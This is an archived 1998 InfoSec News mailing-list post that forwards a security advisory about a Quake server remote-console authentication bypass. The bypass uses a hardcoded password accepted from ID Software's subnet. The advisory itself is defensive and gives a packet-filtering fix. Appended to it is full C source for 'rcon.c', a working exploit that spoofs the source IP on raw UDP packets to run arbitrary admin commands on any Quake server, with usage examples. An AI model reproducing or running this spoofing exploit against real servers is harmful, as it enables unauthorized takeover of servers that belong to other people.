home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / quake / quake.txt
Encoding:
Internet Message Format  |  2002-10-21  |  7.6 KB

  1. Date: Fri, 1 May 1998 04:12:33 -0600 (MDT)
  2. From: mea culpa <jericho@dimensional.com>
  3. To: InfoSec News <isn@sekurity.org>
  4. Subject: [ISN] RSI.0001.05-01-98.ALL.QUAKE_SERVER
  5.  
  6.  
  7. Forwarded From: RSI Advise <advise@repsec.com>
  8.  
  9.  
  10. RSI.0001.05-01-98.ALL.QUAKE_SERVER
  11.  
  12.  
  13.            |:::.  |::::: |::::.        |::::: |::::: |::::.
  14.            ..  :: ..     ..  ::        ..     ..     ..  ::
  15.            |::::  |::::  |::::  :::::: |::::: |::::  |:
  16.            |:  :: |:     |:               |:: |:     |:  ::
  17.            |:  :: |::::: |:            |::::: |::::: |:::::
  18.  
  19.  
  20.                    Repent Security Incorporated, RSI
  21.                        [ http://www.repsec.com ]
  22.  
  23.  
  24.                *** RSI ALERT ADVISORY ***
  25.  
  26.  
  27. --- [CREDIT] --------------------------------------------------------------
  28.  
  29. Vulnerability found by:     Mark Zielinski <markz@repsec.com>
  30. Advisory Author:         Mark Zielinski
  31.  
  32. --- [SUMMARY] -------------------------------------------------------------
  33.  
  34. Announced:     May 1st, 1998
  35. Report code:   RSI.0001.05-01-98.ALL.QUAKE_SERVER
  36. Report title:  Vulnerability in the Quake server
  37. Vulnerability: RCON (Remote Console)
  38. Patch status:  None currently available
  39. Platforms:     Quake 1/2, QuakeWorld, Linux/Solaris Quake2
  40. Reference:     http://www.repsec.com/advisories.html
  41. Impact:           If exploited, an attacker could remotely compromise
  42.            administrator access on any Quake server.
  43.  
  44.  
  45. --- [DETAILS] -------------------------------------------------------------
  46.  
  47. Problem:       The Quake server has a feature where it allows
  48.                administrators to remotely send commands to the Quake
  49.                console with a password.  However, it is possible to
  50.                remotely bypass authentication.
  51.  
  52.                In order for this to be exploited, the attacker would
  53.                have to create a handcrafted udp packet with a header
  54.                containing the rcon command and the password "tms" with
  55.                a source IP coming from ID Software's Subnet. (192.246.40)
  56.  
  57.                The Quake server does not require an open connection for
  58.                sending the rcon packet.  When this is exploited, no logs
  59.                are reported of the rcon command being used.
  60.  
  61.            This vulnerability is present in Quake 1, QuakeWorld,
  62.            Quake 2, Quake 2 Linux and Quake 2 Solaris, all versions.
  63.  
  64.  
  65. --- [FIX] -----------------------------------------------------------------
  66.  
  67. Solution:      Filter all incoming packets from the subnet 192.246.40.
  68.  
  69.  
  70. --- [PATCH] ---------------------------------------------------------------
  71.  
  72. Solution:      No patches are currently available.
  73.  
  74.  
  75. ---------------------------------------------------------------------------
  76.  
  77. Repent Security Incorporated (RSI)
  78. advise@repsec.com
  79. 13610 N. Scottsdale Rd.
  80. Suite #10-326
  81. Scottsdale, AZ 85254
  82.  
  83. [ http://www.repsec.com ]
  84.  
  85.  
  86. ---------------------------------------------------------------------------
  87.  
  88. -----BEGIN PGP PUBLIC KEY BLOCK-----
  89. Version: 2.6.2
  90.  
  91. mQCNAzU6dqAAAAEEAOHt9a5vevjD8ZjsEmncEbFp2U7aeqvPTcF/8FJMilgOVp75
  92. dshXvZixHsYU7flgCNzA7wLIQPWBQBrweLG6dx9gE9e5Ca6yAJxZg8wNsi06tZfP
  93. nvmvf6F/7xoWS5Ei4k3YKuzscxlyePNNKws6uUe2ZmwVoB+i3HHT44dOafMhAAUT
  94. tBpSZXBTZWMgPGFkdmlzZUByZXBzZWMuY29tPg==
  95. =ro8H
  96. -----END PGP PUBLIC KEY BLOCK-----
  97.  
  98.  
  99. Copyright April 1998  RepSec, Inc.
  100.  
  101. The information in this document is provided as a service to customers
  102. of RepSec, Inc.  Neither RepSec, Inc., nor any of it's employees, makes
  103. any warranty, express or implied, or assumes any legal liability or
  104. responsibility for the accuracy, completeness, or usefulness of any
  105. information, apparatus, product, or process contained herein, or
  106. represents that its use would not infringe any privately owned rights.
  107. Reference herein to any specific commercial products, process, or
  108. services by trade name, trademark, manufacturer, or otherwise, does not
  109. necessarily constitute or imply its endorsement, recommendation or
  110. favoring by RepSec, Inc.  The views and opinions of authors expressed
  111. herein do not necessarily state or reflect those of RepSec, Inc., and may
  112. not be used for advertising or product endorsement purposes.
  113.  
  114. The material in this alert advisory may be reproduced and distributed,
  115. without permission, in whole or in part, by other security incident
  116. response teams (both commercial and non-commercial), provided the above
  117. copyright is kept intact and due credit is given to RepSec, Inc.
  118.  
  119. This alert advisory may be reproduced and distributed, without
  120. permission, in its entirety only, by any person provided such
  121. reproduction and/or distribution is performed for non-commercial
  122. purposes and with the intent of increasing the awareness of the Internet
  123. community.
  124.  
  125. ---------------------------------------------------------------------------
  126.  
  127. RepSec, Inc. are trademarks of RepSec, Inc.  All other trademarks are
  128. property of their respective holders. 
  129.  
  130.  
  131.  
  132.  
  133. -o-
  134. Subscribe: mail majordomo@sekurity.org with "subscribe isn".
  135. Today's ISN Sponsor: Repend Security Incorporated [www.repsec.com]
  136. /* rcon.c
  137.   Quake  world rcon_password bug implimentation by Jeff Roberson, <jroberson@chesapeake.net> (VallaH)
  138.   Linux 2.0.33 source, will compile on BSD if you modify the ip header etc.
  139.   Please note that I did not discover this, I simply wrote the code.
  140.   Thanks to Nick Toomey, <ntoomey@chesapeake.net> (Grifter)
  141.  
  142.   Brief summary:
  143.       Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server.  This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify.
  144.  
  145.   Usage:
  146.     ./rcon ip/host "what you want to do" [port]
  147.   Example:
  148.     ./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500
  149.          the port argument is optional, you may omit it if you like and it will default to 27500.
  150. */
  151. #include <stdio.h>
  152. #include <stdlib.h>
  153. #include <unistd.h>
  154. #include <string.h>
  155. #include <netdb.h>
  156. #include <netinet/in.h>
  157. #include <netinet/ip.h>
  158. #include <netinet/udp.h>
  159. #include <arpa/inet.h>
  160. #include <sys/types.h>
  161. #include <sys/time.h>
  162. #include <sys/socket.h>                                                
  163.  
  164. #define SIP "192.246.40.42" /* vader.idsoftware.com */
  165. #define command "    rcon tms "
  166.  
  167. u_long resolve_address(u_char *host)
  168. {
  169.     struct    in_addr    addr;
  170.     struct    hostent    *he;
  171.  
  172.     if((addr.s_addr = inet_addr(host)) == -1) {
  173.         if (!(he = gethostbyname(host))) {
  174.             printf("Unknown address: %s\n", host); 
  175.             exit(-1);
  176.         }
  177.         bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
  178.     }
  179.     return(addr.s_addr);
  180. }
  181. int main(int argc, char **argv)
  182. {
  183.     int    s;
  184.     int    port=27500;
  185.     char    buf[512];
  186.     struct    sockaddr_in dst;
  187.     struct    iphdr *iph=(struct iphdr *)buf;
  188.     struct    udphdr *udp=(struct udphdr *)(buf + 20);
  189.  
  190.     if (argc<3) {
  191.         printf("usage:\n");
  192.         printf("\t%s ip ""command"" <port>\n", argv[0]);
  193.         exit(-1);        
  194.     }    
  195.     if (argc==4) port = atoi(argv[3]);
  196.     bzero(buf, sizeof(buf));
  197.     bzero((char *)&dst, sizeof(dst));
  198.  
  199.     iph->version=4;
  200.     iph->ihl=5;
  201.     iph->tos=0;
  202.     iph->tot_len=htons(sizeof(buf));
  203.     iph->id=htons(1234);
  204.     iph->frag_off=0;
  205.     iph->ttl=255;
  206.     iph->protocol=17;
  207.  
  208.     iph->saddr=inet_addr(SIP);
  209.     iph->daddr=resolve_address(argv[1]);
  210.  
  211.     udp->source=htons(1234);
  212.     udp->dest=htons(port);
  213.     udp->len=htons(sizeof(buf) - 20);
  214.  
  215.     dst.sin_family=PF_INET;
  216.     dst.sin_addr.s_addr=iph->daddr;
  217.     dst.sin_port=htons(27500);
  218.  
  219.     sprintf((buf + 28), "%s%s\n", command, argv[2]); 
  220.  
  221.     if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  222.         perror("socket");
  223.         exit(-1);
  224.     }
  225.  
  226.     if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) {
  227.         perror("sendto");
  228.         exit(-1);
  229.     }
  230.     exit(1);
  231. }
  232.